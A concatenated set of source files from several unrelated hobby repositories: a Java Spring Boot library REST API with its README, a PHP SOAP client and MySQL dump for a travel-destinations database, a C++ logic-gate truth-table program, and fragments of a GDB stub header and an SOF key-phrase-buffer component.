libroRespository.updateLibro(libroDTO);
}
@Override
public void deleteLibro(Integer idLibro) {
libroRespository.deleteLibro(idLibro);
}
}
<file_sep>/README.md
###ApiRest en java (Spring boot) 🚀
-------------
**Instalación:**
Deberás de tener instalado spring boot y PostgreSQL una vez hayas clonado el proyecto deberás de seguir los siguientes pasos:
- Crear una base de datos y ejecutar el script [script_db.sql](https://github.com/Gugu04/simpleApiRest_java/blob/master/script_db.sql)
- Configurar el archivo [application.properties](https://github.com/Gugu04/simpleApiRest_java/blob/master/apirest_jdbc/src/main/resources/application.properties). con los datos de su conexión hacia el motor de la base de datos PostgreSQL.
- Hacer un `maven clean` y un `maven install` esto se puede hacer de diferentes maneras dependerá del IDE que estés utilizando.
- Como último punto solo deberá de ejecutar el proyecto.
-------------
####org.springframework.security (configuracion basica)
> [ConfigurationSecurity](https://github.com/Gugu04/simpleApiRest_java/blob/master/apirest_jdbc/src/main/java/com/api/rest/security/ConfigurationSecurity.java)
| Rol | Usuario | Contraseña |
| ------------- | ------------- |------------- |
| ADMIN | admin | admin123 |
| USER | vale | vale1234 |
**Nota:** Tambien puede sustituir los procedures y funciones por consultas normales SQL
> [CategoriaRepository](https://github.com/Gugu04/simpleApiRest_java/blob/master/apirest_jdbc/src/main/java/com/api/rest/repository/CategoriaRepository.java)
> [LibroRespository](https://github.com/Gugu04/simpleApiRest_java/blob/master/apirest_jdbc/src/main/java/com/api/rest/repository/LibroRespository.java)
<file_sep>/apirest_jdbc/src/main/java/com/api/rest/dto/LibroDTO.java
package com.api.rest.dto;
import java.io.Serializable;
import java.util.Date;
public class LibroDTO implements Serializable {
private Integer id_libro;
private String titulo;
private String descripcion;
private Date fecha_publicado;
private String nombre_autor;
private String apellidos_autor;
private Integer id_categoriafk;
private String categoria_nombre;
public Integer getId_libro() {
return id_libro;
}
public void setId_libro(Integer id_libro) {
this.id_libro = id_libro;
}
public String getTitulo() {
return titulo;
}
public void setTitulo(String titulo) {
this.titulo = titulo;
}
public String getDescripcion() {
return descripcion;
}
public void setDescripcion(String descripcion) {
this.descripcion = descripcion;
}
public Date getFecha_publicado() {
return fecha_publicado;
}
public void setFecha_publicado(Date fecha_publicado) {
this.fecha_publicado = fecha_publicado;
}
public String getNombre_autor() {
return nombre_autor;
}
public void setNombre_autor(String nombre_autor) {
this.nombre_autor = nombre_autor;
}
public String getApellidos_autor() {
return apellidos_autor;
}
public void setApellidos_autor(String apellidos_autor) {
this.apellidos_autor = apellidos_autor;
}
public Integer getId_categoriafk() {
return id_categoriafk;
}
public void setId_categoriafk(Integer id_categoriafk) {
this.id_categoriafk = id_categoriafk;
}
public String getCategoria_nombre() {
return categoria_nombre;
}
public void setCategoria_nombre(String categoria_nombre) {
this.categoria_nombre = categoria_nombre;
}
}
<file_sep>/apirest_jdbc/src/main/java/com/api/rest/repository/CategoriaRepository.java
package com.api.rest.repository;
import com.api.rest.dto.CategoriaDTO;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.BeanPropertyRowMapper;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.stereotype.Repository;
import org.springframework.transaction.annotation.Transactional;
import java.util.ArrayList;
import java.util.List;
@Repository
public class CategoriaRepository {
@Autowired
private JdbcTemplate jdbcTemplate;
List<CategoriaDTO> listcategoria=null;
@Transactional(readOnly = true)
public List<CategoriaDTO> getAllCategoria() {
listcategoria=new ArrayList<>();
listcategoria= jdbcTemplate.query("select *from fn_get_all_categorias()",
BeanPropertyRowMapper.newInstance( CategoriaDTO.class));
return listcategoria;
}
@Transactional(readOnly = true)
public List<CategoriaDTO> findByCategoria(Integer nubIdCategoria ) {
listcategoria=new ArrayList<>();
listcategoria= jdbcTemplate.query("select *from fn_by_categoria("+nubIdCategoria+")",
BeanPropertyRowMapper.newInstance( CategoriaDTO.class));
return listcategoria;
}
public void insertCategoria(String strNombre) {
jdbcTemplate.update("call pr_insert_categoria(?)",strNombre);
}
public void updateCategoria(CategoriaDTO categoriaDTO) {
jdbcTemplate.update("call pr_update_categoria(?,?)",categoriaDTO.getId_categoria(),categoriaDTO.getNombre());
}
public void deleteCategoria(Integer idCategoria) {
jdbcTemplate.update("call pr_delete_categoria(?)",idCategoria);
}
}
<file_sep>/apirest_jdbc/src/main/java/com/api/rest/repository/LibroRespository.java
package com.api.rest.repository;
import com.api.rest.dto.LibroDTO;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.BeanPropertyRowMapper;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.stereotype.Repository;
import org.springframework.transaction.annotation.Transactional;
import java.util.ArrayList;
import java.util.List;
@Repository
public class LibroRespository {
@Autowired
private JdbcTemplate jdbcTemplate;
List<LibroDTO> listLibroDTO = null;
@Transactional(readOnly = true)
public List<LibroDTO> getAllLibro() {
listLibroDTO = new ArrayList<>();
listLibroDTO = jdbcTemplate.query("SELECT *FROM fn_get_all_libros()", BeanPropertyRowMapper.newInstance(LibroDTO.class));
return listLibroDTO;
}
@Transactional(readOnly = true)
public List<LibroDTO> findByLibro(Integer idLibro) {
listLibroDTO = new ArrayList<>();
listLibroDTO = jdbcTemplate.query("SELECT *FROM fn_get_by_libro("+idLibro+")", BeanPropertyRowMapper.newInstance(LibroDTO.class));
return listLibroDTO;
}
public void insertLibro(LibroDTO libroDTO) {
jdbcTemplate.update("CALL pr_insert_libro(?,?,?,?,?,?)", libroDTO.getTitulo(),
libroDTO.getDescripcion(),
libroDTO.getFecha_publicado(), libroDTO.getNombre_autor(),
libroDTO.getApellidos_autor(), libroDTO.getId_categoriafk());
}
public void updateLibro(LibroDTO libroDTO) {
jdbcTemplate.update("CALL pr_update_libro(?,?,?,?,?,?,?)",libroDTO.getId_libro(),
libroDTO.getTitulo(), libroDTO.getDescripcion(),
libroDTO.getFecha_publicado(), libroDTO.getNombre_autor(),
libroDTO.getApellidos_autor(), libroDTO.getId_categoriafk());
}
public void deleteLibro(Integer idLibro) {
jdbcTemplate.update("CALL pr_delete_libro(?)", idLibro);
}
}
|
ec4c98c80bd278476bdb558e575d55095458ea23
|
[
"Markdown",
"Java"
] | 6 |
Java
|
Gugu04/simpleApiRest_java
|
cb39b5af3ebad5669e25a8932396677d5d9a888d
|
e15494dd8be3b3a66fc903f687453a780717cb3c
|
refs/heads/main
|
<repo_name>diawara24/TravelAgency<file_sep>/php_client/Client/traitement.php
<?php
/* Test d'appel a un WEBService */
$wsdl = 'http://localhost:8080/com.travel.webservice/services/TravelPort?wsdl';
$options = array('cache_wsdl' => WSDL_CACHE_NONE);
try {
$clientSOAP = new SoapClient($wsdl, $options);
//var_dump($clientSOAP->__getFunctions());
} catch (SoapFault $fault) {
trigger_error("SOAP Fault: (faultcode: {$fault->faultcode}, faultstring: {$fault->faultstring})", E_USER_ERROR);
}
$countries = $clientSOAP->__soapCall("getCountry",array());
$destinations = $clientSOAP->__soapCall("getDestinations",array());
$cities = $clientSOAP->__soapCall("getCities",array());
// Set request params
$param = new stdClass();
$param->idDestType = 1;
try {
$listDestination = $clientSOAP->__soapCall("getDestinationName", array($param));
} catch(Exception $e) {
var_dump($e);
}
#print_r($clientSOAP->__getLastRequest());
$destinationsCity = $clientSOAP->__soapCall("getDestinationsByCity",array());
// #print_r($cities);
// if (isset($cities)) {
// foreach ($cities->result as $cit){
// echo $cit->name;
// echo $cit->countryName;
// #echo $cit->countryName;
// echo "----------";
// }
//}
?><file_sep>/DB/travel (1).sql
-- phpMyAdmin SQL Dump
-- version 5.0.2
-- https://www.phpmyadmin.net/
--
-- Host: localhost
-- Generation Time: Apr 10, 2021 at 02:45 PM
-- Server version: 10.4.11-MariaDB
-- PHP Version: 7.3.16
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Database: `travel`
--
-- --------------------------------------------------------
--
-- Table structure for table `cities`
--
CREATE TABLE `cities` (
`id` int(11) NOT NULL,
`name` varchar(30) NOT NULL,
`country_id` int(11) NOT NULL,
`longitude` float DEFAULT NULL,
`latitude` float DEFAULT NULL,
`cityImg` varchar(50) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
--
-- Dumping data for table `cities`
--
INSERT INTO `cities` (`id`, `name`, `country_id`, `longitude`, `latitude`, `cityImg`) VALUES
(1, 'Paris', 1, 2.3522, 48.8566, 'img/paris.png'),
(2, 'Lyon', 1, 4.8357, 45.764, 'img/lyon.png'),
(3, 'Marseille', 1, 5.3698, 43.2965, 'img/marseille.png'),
(4, 'Venice', 2, 12.3155, 45.4408, 'img/venice.jpeg'),
(5, 'Roma', 2, 12.4964, 41.9028, 'img/roma.png'),
(6, 'Milan', 2, 9.19, 45.4642, 'img/milan.png'),
(7, 'Lisbon', 3, 9.1393, 38.7223, 'img/lisbon.jpeg'),
(8, 'Tavira', 3, 7.643, 37.1336, 'img/tavira.jpeg'),
(9, 'Evora', 3, 7.9135, 38.5714, 'img/evora.jpeg'),
(10, 'Berlin', 4, 13.405, 52.52, 'img/berlin.jpeg'),
(11, 'Munich', 4, 11.582, 48.1351, 'img/munich.jpeg'),
(12, 'Hamburg', 4, 9.9937, 53.5511, 'img/hamburg.jpeg'),
(13, 'Barcelona', 5, 2.1734, 41.3851, 'img/barcelona.jpeg'),
(14, 'Madrid', 5, 3.7038, 40.4168, 'img/madrid.jpeg'),
(15, 'Seville', 5, 5.9845, 37.3891, 'img/seville.jpeg'),
(16, 'Bruges', 6, 3.2247, 51.2093, 'img/bruges.jpeg'),
(17, 'brussels', 6, 4.3517, 50.8503, 'img/brussels.jpeg'),
(18, 'Ghent', 6, 3.7174, 51.0543, 'img/ghent.jpeg'),
(19, 'London', 7, -0.118092, 51.5099, 'img/london.jpeg'),
(20, 'Manchester', 7, 2.2426, 53.4808, 'img/manchester.jpeg'),
(21, 'Liverpool', 7, 2.9916, 53.4084, 'img/liverpool.jpeg');
-- --------------------------------------------------------
--
-- Table structure for table `countries`
--
CREATE TABLE `countries` (
`id_country` int(11) NOT NULL,
`countryName` varchar(30) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
--
-- Dumping data for table `countries`
--
INSERT INTO `countries` (`id_country`, `countryName`) VALUES
(1, 'Fance'),
(2, 'Italie'),
(3, 'Portugal'),
(4, 'Germany'),
(5, 'Spain'),
(6, 'Belgium'),
(7, 'England');
-- --------------------------------------------------------
--
-- Table structure for table `destinations`
--
CREATE TABLE `destinations` (
`id` int(11) NOT NULL,
`nameDest` varchar(30) NOT NULL,
`typeDest` int(11) NOT NULL,
`city_id` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
--
-- Dumping data for table `destinations`
--
INSERT INTO `destinations` (`id`, `nameDest`, `typeDest`, `city_id`) VALUES
(1, 'Eiffel Tower', 1, 1),
(2, 'Arc de Triomphe', 1, 1),
(3, 'Cathedrale Notre-Dame ', 1, 1),
(4, 'Basilique de Fourviere', 1, 2),
(5, 'Cathedrale Saint-Jean', 1, 2),
(6, 'Chateau de <NAME>', 1, 2),
(7, '<NAME>', 2, 1),
(8, '<NAME>', 2, 1),
(9, '<NAME>', 2, 1),
(10, '<NAME>', 2, 2),
(11, '<NAME>', 2, 2),
(12, 'le massif de la Sainte-Baume', 3, 3),
(13, 'la montagne Sainte-Victoire', 3, 3),
(14, 'le mont Olympe', 3, 3),
(15, '<NAME>', 3, 2),
(16, '<NAME>', 3, 2),
(17, '<NAME>', 3, 2),
(18, '<NAME>-Victor', 1, 3),
(19, '<NAME>', 1, 3),
(20, '<NAME>.', 1, 3),
(21, 'St. <NAME>', 1, 4),
(22, '<NAME>', 1, 4),
(23, '<NAME>', 1, 4),
(24, 'Lido', 4, 4),
(25, 'The Colosseum', 1, 5),
(26, 'Vatican City', 1, 5),
(27, 'The Pantheon', 1, 5),
(28, '<NAME>', 4, 5),
(29, 'Anzio', 4, 5),
(30, 'Duomo', 1, 6),
(31, '<NAME>', 1, 6),
(32, 'Aquaneva', 2, 6),
(33, '<NAME>', 2, 6),
(34, '<NAME>', 3, 6),
(35, '<NAME>', 3, 6),
(36, '<NAME>', 6, 7),
(37, '<NAME>', 2, 7),
(38, '<NAME>', 2, 7),
(39, 'The Tower of Belem ', 1, 7),
(40, '<NAME>', 7, 7),
(41, '<NAME>', 6, 7),
(42, '<NAME>', 6, 8),
(43, '<NAME>', 4, 8),
(44, '<NAME>', 5, 8),
(45, 'tavira national park', 2, 8),
(46, '<NAME>', 3, 8),
(47, 'Beliche Portugal ', 3, 8),
(48, '<NAME>', 1, 9),
(49, 'Par<NAME>', 5, 9),
(50, '<NAME>', 5, 9),
(51, '<NAME>', 4, 9),
(52, '<NAME>', 4, 9),
(53, '<NAME>', 6, 9),
(54, '<NAME>', 1, 10),
(55, '<NAME>', 7, 10),
(56, '<NAME>', 3, 10),
(57, '<NAME>', 6, 10),
(58, '<NAME>', 4, 10),
(59, 'Victory Column', 1, 10),
(60, 'Mariensaule', 1, 11),
(61, 'English Garden', 2, 11),
(62, '<NAME>', 6, 11),
(63, '<NAME>', 5, 11),
(64, '<NAME>', 7, 11),
(65, '<NAME>', 7, 11),
(66, 'Planten un Blomen', 2, 12),
(67, 'Park Fiction', 2, 12),
(68, 'Meiendorfer-Forest', 7, 12),
(69, '<NAME>', 7, 12),
(70, '<NAME>', 5, 12),
(71, '<NAME>', 5, 12),
(72, 'Mountain Barcelona', 3, 13),
(73, 'Tibidabo', 3, 13),
(74, 'Barceloneta Beach', 4, 13),
(75, 'Platja del Forum', 4, 13),
(76, 'Coves del Salnitre', 6, 13),
(77, '<NAME>', 6, 13),
(78, 'Penalara', 3, 14),
(79, '<NAME>', 3, 14),
(80, 'La Maliciosa', 4, 14),
(81, 'Madrid Forest', 2, 14),
(82, 'Urban Beach Madrid', 4, 14),
(83, 'Sauna Beach', 4, 14),
(84, 'Torre del Oro', 1, 15),
(85, '<NAME>', 1, 15),
(86, '<NAME>', 1, 15),
(87, 'Alamillo Park', 2, 15),
(88, 'Parque de <NAME>', 2, 15),
(89, 'Principes Park', 2, 15),
(90, 'Minnewaterpark', 2, 16),
(91, '<NAME>', 2, 16),
(92, '<NAME>', 3, 16),
(93, '<NAME>', 3, 16),
(94, '<NAME>', 5, 16),
(95, 'Serpentarium', 5, 16),
(96, 'Residence Palace', 1, 17),
(97, 'Infantry Memorial', 1, 17),
(98, 'Brussels Park', 2, 17),
(99, 'Brussels Park', 2, 17),
(100, '<NAME>', 5, 17),
(101, 'Brussels Zoo', 5, 17),
(102, 'Design Museum Gent', 1, 18),
(103, 'gent design forest', 1, 18),
(104, 'Pen-y-ghent', 3, 18),
(105, '<NAME>', 1, 18),
(106, '<NAME>', 2, 18),
(107, '\r\nMuinkpark', 2, 18),
(108, 'Victoria Memorial', 1, 19),
(109, 'London Tower Bridge', 1, 19),
(110, 'St James\'s Park', 2, 19),
(111, 'Monster Mountains', 3, 19),
(112, 'Betsom\'s Hill', 3, 19),
(113, 'Hyde Park', 2, 19),
(114, 'Queen Victoria\'s Statue', 1, 20),
(115, '<NAME>orial', 1, 20),
(116, 'Ainsdale Beach', 4, 20),
(117, 'Platt Fields Park', 2, 20),
(118, '<NAME>', 2, 20),
(119, '<NAME>', 3, 20),
(120, 'Queen Victoria Monument', 1, 21),
(121, 'Memoriale del Trasporto', 1, 21),
(122, 'Crosby Beach', 4, 21),
(123, 'Wallasey Beach', 4, 21),
(124, 'Knowsley Safari', 5, 21),
(125, 'Croxteth Petting Farm', 5, 21);
-- --------------------------------------------------------
--
-- Table structure for table `dest_type`
--
CREATE TABLE `dest_type` (
`id` int(11) NOT NULL,
`destType` varchar(30) NOT NULL,
`img_link` varchar(50) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
--
-- Dumping data for table `dest_type`
--
INSERT INTO `dest_type` (`id`, `destType`, `img_link`) VALUES
(1, 'Monuments', 'img/monument/monument.jpeg'),
(2, 'Parc', 'img/parc/parc.jpeg'),
(3, 'Montagne', 'img/montagne/montagne.png'),
(4, 'Beach', 'img/beach/beach.jpeg'),
(5, 'Zoo', 'img/zoo/'),
(6, 'Cave', 'img/cave/'),
(7, 'Forest', 'img/forest/');
--
-- Indexes for dumped tables
--
--
-- Indexes for table `cities`
--
ALTER TABLE `cities`
ADD PRIMARY KEY (`id`),
ADD KEY `FK_Country` (`country_id`);
--
-- Indexes for table `countries`
--
ALTER TABLE `countries`
ADD PRIMARY KEY (`id_country`);
--
-- Indexes for table `destinations`
--
ALTER TABLE `destinations`
ADD PRIMARY KEY (`id`),
ADD KEY `fk_destinations` (`typeDest`),
ADD KEY `fk_cities` (`city_id`);
--
-- Indexes for table `dest_type`
--
ALTER TABLE `dest_type`
ADD PRIMARY KEY (`id`);
--
-- AUTO_INCREMENT for dumped tables
--
--
-- AUTO_INCREMENT for table `cities`
--
ALTER TABLE `cities`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=22;
--
-- AUTO_INCREMENT for table `countries`
--
ALTER TABLE `countries`
MODIFY `id_country` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8;
--
-- AUTO_INCREMENT for table `destinations`
--
ALTER TABLE `destinations`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=126;
--
-- AUTO_INCREMENT for table `dest_type`
--
ALTER TABLE `dest_type`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8;
--
-- Constraints for dumped tables
--
--
-- Constraints for table `cities`
--
ALTER TABLE `cities`
ADD CONSTRAINT `FK_Country` FOREIGN KEY (`country_id`) REFERENCES `countries` (`id_country`);
--
-- Constraints for table `destinations`
--
ALTER TABLE `destinations`
ADD CONSTRAINT `fk_cities` FOREIGN KEY (`city_id`) REFERENCES `cities` (`id`),
ADD CONSTRAINT `fk_destinations` FOREIGN KEY (`typeDest`) REFERENCES `dest_type` (`id`);
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
|
6607c366d9047edfbc697f5b669ecd375e57b2a3
|
[
"SQL",
"PHP"
] | 2 |
PHP
|
diawara24/TravelAgency
|
3ac198c10326edc98be342c37e94b7fc51aec414
|
7dd303c90511887ddc4bc90aae47e78afb13832e
|
refs/heads/master
|
<file_sep># include <iostream>
# include <conio>
# include <fstream>
int valor(int a, int b, int cc)
{
int v[10],s;
for(int i=(a-1);i>=0;i--)
{
v[i]=b%2;
b=int(b/2);
}
s=v[cc];
return s;
}
int AND(int a, int b)
{
int s;
if(a==1 && b==1)
{
s=1;
}
else
{
s=0;
}
return s;
}
int OR(int a, int b)
{
int s;
if(a==0 && b==0)
{
s=0;
}
else
{
s=1;
}
return s;
}
int NOT(int a)
{
int s;
if(a==1)
{
s=0;
}
else
{
s=1;
}
return s;
}
int XOR(int x, int y)
{
int a,a2,b,b2,s;
a=NOT(x);
a2=AND(a,y);
b=NOT(y);
b2=AND(x,b);
s=OR(a2,b2);
return s;
}
int NOR(int x, int y)
{
int a,b,s;
a=NOT(x);
b=NOT(y);
s=AND(a,b);
return s;
}
int NAND(int x, int y)
{
int a,b,s;
a=NOT(x);
b=NOT(y);
s=OR(a,b);
return s;
}
int XNOR(int x, int y)
{
int a,a2,b,b2,s;
a=NOT(x);
a2=NOT(y);
b=AND(a,a2);
b2=AND(x,y);
s=OR(b,b2);
return s;
}
void borrar()
{
ofstream archivo("D:/ProyLPEquipo11/ProyLPEquipo11/Archivos/Dos_Entradas.txt", ios::in | ios::trunc);
archivo.close();
}
void modificar_archivo()
{
int i,j,s;
ofstream archivo("D:/ProyLPEquipo11/ProyLPEquipo11/Archivos/Dos_Entradas.txt");
borrar();
archivo<<"Funcion AND";
archivo<<"\na b s";
for(i=0; i<=1 ; i++)
{
for(j=0; j<=1 ; j++)
{
s=AND(i,j);
archivo<<"\n"<<i<<" "<<j<<" "<<s;
}
}
archivo<<"\n\nFuncion OR";
archivo<<"\na b s";
for(i=0; i<=1 ; i++)
{
for(j=0; j<=1 ; j++)
{
s=OR(i,j);
archivo<<"\n"<<i<<" "<<j<<" "<<s;
}
}
archivo<<"\n\nFuncion NOT";
archivo<<"\na s";
for(i=0; i<=1 ; i++)
{
s=NOT(i);
archivo<<"\n"<<i<<" "<<s;
}
archivo<<"\n\nFuncion XOR";
archivo<<"\na b s";
for(i=0; i<=1 ; i++)
{
for(j=0; j<=1 ; j++)
{
s=XOR(i,j);
archivo<<"\n"<<i<<" "<<j<<" "<<s;
}
}
archivo<<"\n\nFuncion NOR";
archivo<<"\na b s";
for(i=0; i<=1 ; i++)
{
for(j=0; j<=1 ; j++)
{
s=NOR(i,j);
archivo<<"\n"<<i<<" "<<j<<" "<<s;
}
}
archivo<<"\n\nFuncion NAND";
archivo<<"\na b s";
for(i=0; i<=1 ; i++)
{
for(j=0; j<=1 ; j++)
{
s=NAND(i,j);
archivo<<"\n"<<i<<" "<<j<<" "<<s;
}
}
archivo<<"\n\nFuncion X-NOR";
archivo<<"\na b s";
for(i=0; i<=1 ; i++)
{
for(j=0; j<=1 ; j++)
{
s=XNOR(i,j);
archivo<<"\n"<<i<<" "<<j<<" "<<s;
}
}
archivo.close();
}
void borrar2()
{
ofstream archivo("D:/ProyLPEquipo11/ProyLPEquipo11/Archivos/Indefinido.txt", ios::trunc);
archivo.close();
}
void Encabezado(int a, int b)
{
ofstream ntabla("D:/ProyLPEquipo11/ProyLPEquipo11/Archivos/Indefinido.txt", ios::in);
switch(a)
{
case 1:
ntabla<<"\t\tFUNCION AND\n";
break;
case 2:
ntabla<<"\t\tFUNCION OR\n";
break;
case 3:
ntabla<<"\t\tFUNCION NOT\n";
break;
case 4:
ntabla<<"\t\tFUNCION XOR\n";
break;
case 5:
ntabla<<"\t\tFUNCION NOR\n";
break;
case 6:
ntabla<<"\t\tFUNCION NAND\n";
break;
case 7:
ntabla<<"\t\tFUNCION XNOR\n";
break;
default:
ntabla<<"\t\tFUNCION ERRONEA\n";
break;
}
for(int i=1 ; i<=b ; i++)
{
ntabla<<"n"<<i<<" ";
}
ntabla<<"s\n";
ntabla.close();
}
void imprimir_n(int a, int b)
{
ofstream ntabla("D:/ProyLPEquipo11/ProyLPEquipo11/Archivos/Indefinido.txt", ios::app);
if(b==1)
{
ntabla<<a<<" ";
}
if(b==0)
{
ntabla<<a<<"\n";
}
ntabla.close();
}
void Mostrar()
{
ifstream archivo("D:/ProyLPEquipo11/ProyLPEquipo11/Archivos/Indefinido.txt", ios::in);
char caracter;
while(!archivo.eof())
{
archivo.get(caracter);
cout<<caracter;
}
archivo.close();
getch();
clrscr();
}
void comparacion()
{
char caracter;
ifstream archivo("D:/ProyLPEquipo11/ProyLPEquipo11/Archivos/Dos_Entradas.txt", ios::in);
clrscr();
if(archivo.good())
{
cout<<"El contenido del archivo es: \n";
while(!archivo.eof())
{
archivo.get(caracter);
cout<<caracter;
}
archivo.close();
}
else
{
cout<<"El archivo no existe si desea crearlo selecciones la opcion 1.";
}
getch();
clrscr();
}
main()
{
int op,n,fp,i,a,s,r;
int t=1,e=0,cr=0;
do
{
cout<<"||||||||||||||||||||||||||||||||||||||||||||||||||||\n";
cout<<"||\t\t\tFUNCIONES LOGICAS ||";
cout<<"\n|| 1.-Generar tabla de verdad con dos variables ||";
cout<<"\n|| 2.-Ver tablas de verdad con dos entradas ||";
cout<<"\n|| 3.-Generar y ver tabla con n entradas ||";
cout<<"\n|| 4.-Salir ||";
cout<<"\n||||||||||||||||||||||||||||||||||||||||||||||||||||\n";
cout<<"\nElija opcion: ";
cin>>op;
switch(op)
{
case (1):
modificar_archivo();
cout<<"\n se a generado las tablas de verdad:";
cout<<"\n se a almacenado en el archivo Tabla de 2 entradas.txt";
cout<<"\n se almaceno en la direccion: \n D:/ProyLPEquipo11/ProyLPEquipo11/Archivos/Dos_Entradas.txt";
getch();
clrscr();
break;
case (2):
comparacion();
break;
case 3:
clrscr();
cout<<"\nIngrese la cantidad de variables a operar: ";
cin>>n;
for(i=1;i<=n;i++)
{
t=t*2;
}
cout<<"\n\t\t\tELIJA LA FUNCION";
cout<<"\n1.-AND";
cout<<"\n2.-OR";
cout<<"\n3.-NOT";
cout<<"\n4.-XOR";
cout<<"\n5.-NOR";
cout<<"\n6.-NAND";
cout<<"\n7.-X-NOR";
cout<<"\nElija la funcion: ";
cin>>fp;
clrscr();
switch(fp)
{
case 1:
borrar2();
Encabezado(fp,n);
while(e<t)
{
for(i=0 ; i<n ; i++)
{
if(i==0)
{
s=valor(n,e,i);
imprimir_n(s,1);
}
else
{
a=valor(n,e,i);
r=AND(s,a);
s=r;
imprimir_n(a,1);
}
}
imprimir_n(s,0);
e++;
}
Mostrar();
break;
case 2:
borrar2();
Encabezado(fp,n);
while(e<t)
{
for(i=0 ; i<n ; i++)
{
if(i==0)
{
s=valor(n,e,i);
imprimir_n(s,1);
}
else
{
a=valor(n,e,i);
r=OR(s,a);
s=r;
imprimir_n(a,1);
}
}
imprimir_n(s,0);
e++;
}
Mostrar();
break;
case 3:
cout<<"La funcion NOT no funciona con "<<n<<" variables.";
getch();
clrscr();
break;
case 4:
borrar2();
Encabezado(fp,n);
while(e<t)
{
for(i=0 ; i<n ; i++)
{
if(i==0)
{
s=valor(n,e,i);
imprimir_n(s,1);
}
else
{
a=valor(n,e,i);
r=XOR(s,a);
s=r;
imprimir_n(a,1);
}
}
imprimir_n(s,0);
e++;
}
Mostrar();
case 5:
borrar2();
Encabezado(fp,n);
while(e<t)
{
for(i=0 ; i<n ; i++)
{
if(i==0)
{
s=valor(n,e,i);
imprimir_n(s,1);
}
else
{
a=valor(n,e,i);
r=NOR(s,a);
s=r;
imprimir_n(a,1);
}
}
imprimir_n(s,0);
e++;
}
Mostrar();
break;
case 6:
borrar2();
Encabezado(fp,n);
while(e<t)
{
for(i=0 ; i<n ; i++)
{
if(i==0)
{
s=valor(n,e,i);
imprimir_n(s,1);
}
else
{
a=valor(n,e,i);
r=NAND(s,a);
s=r;
imprimir_n(a,1);
}
}
imprimir_n(s,0);
e++;
}
Mostrar();
break;
case 7:
borrar2();
Encabezado(fp,n);
while(e<t)
{
for(i=0 ; i<n ; i++)
{
if(i==0)
{
s=valor(n,e,i);
imprimir_n(s,1);
}
else
{
a=valor(n,e,i);
r=XNOR(s,a);
s=r;
imprimir_n(a,1);
}
}
imprimir_n(s,0);
e++;
}
Mostrar();
break;
default:
cout<<"Error";
}
break;
case 4:
cout<<"Gracias por su tiempo";
cr++;
break;
default:
cout<<"Error";
}
}while(cr==0);
getch();
}
|
daba972e67d104c8e96087e14fd43f1a0137105a
|
[
"C++"
] | 1 |
C++
|
MartinBF/ProyLPEquipoG11
|
9342f5b1733fe8b22b6ce1903e591fa65b482567
|
0bbcfef8dfdd1da1ebc1a1210d802af97c131501
|
refs/heads/master
|
<file_sep>#ifndef GDB_H
#define GDB_H
#define GDB_BUFMAX 256
#define GDB_NUMBER_OF_REGISTERS 64
void gdb_handle_exception(void);
void gdb_debug_info(unsigned char *str);
void gdb_init_debug_exception(void);
void gdb_init(void);
#endif /* GDB_H */
<file_sep>/*
* Copyright (c) 2019, Intel Corporation
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the Intel Corporation nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* Author: <NAME> <<EMAIL>>
*
* A key phrase buffer component.
*/
/**
* \file audio/kpb.c
* \brief Key phrase buffer component implementation
* \author <NAME> <<EMAIL>>
*/
#include <stdint.h>
#include <uapi/ipc/topology.h>
#include <sof/ipc.h>
#include <sof/audio/component.h>
#include <sof/audio/kpb.h>
#include <sof/list.h>
#include <sof/audio/buffer.h>
#include <sof/ut.h>
static void kpb_event_handler(int message, void *cb_data, void *event_data);
static int kpb_register_client(struct comp_data *kpb, struct kpb_client *cli);
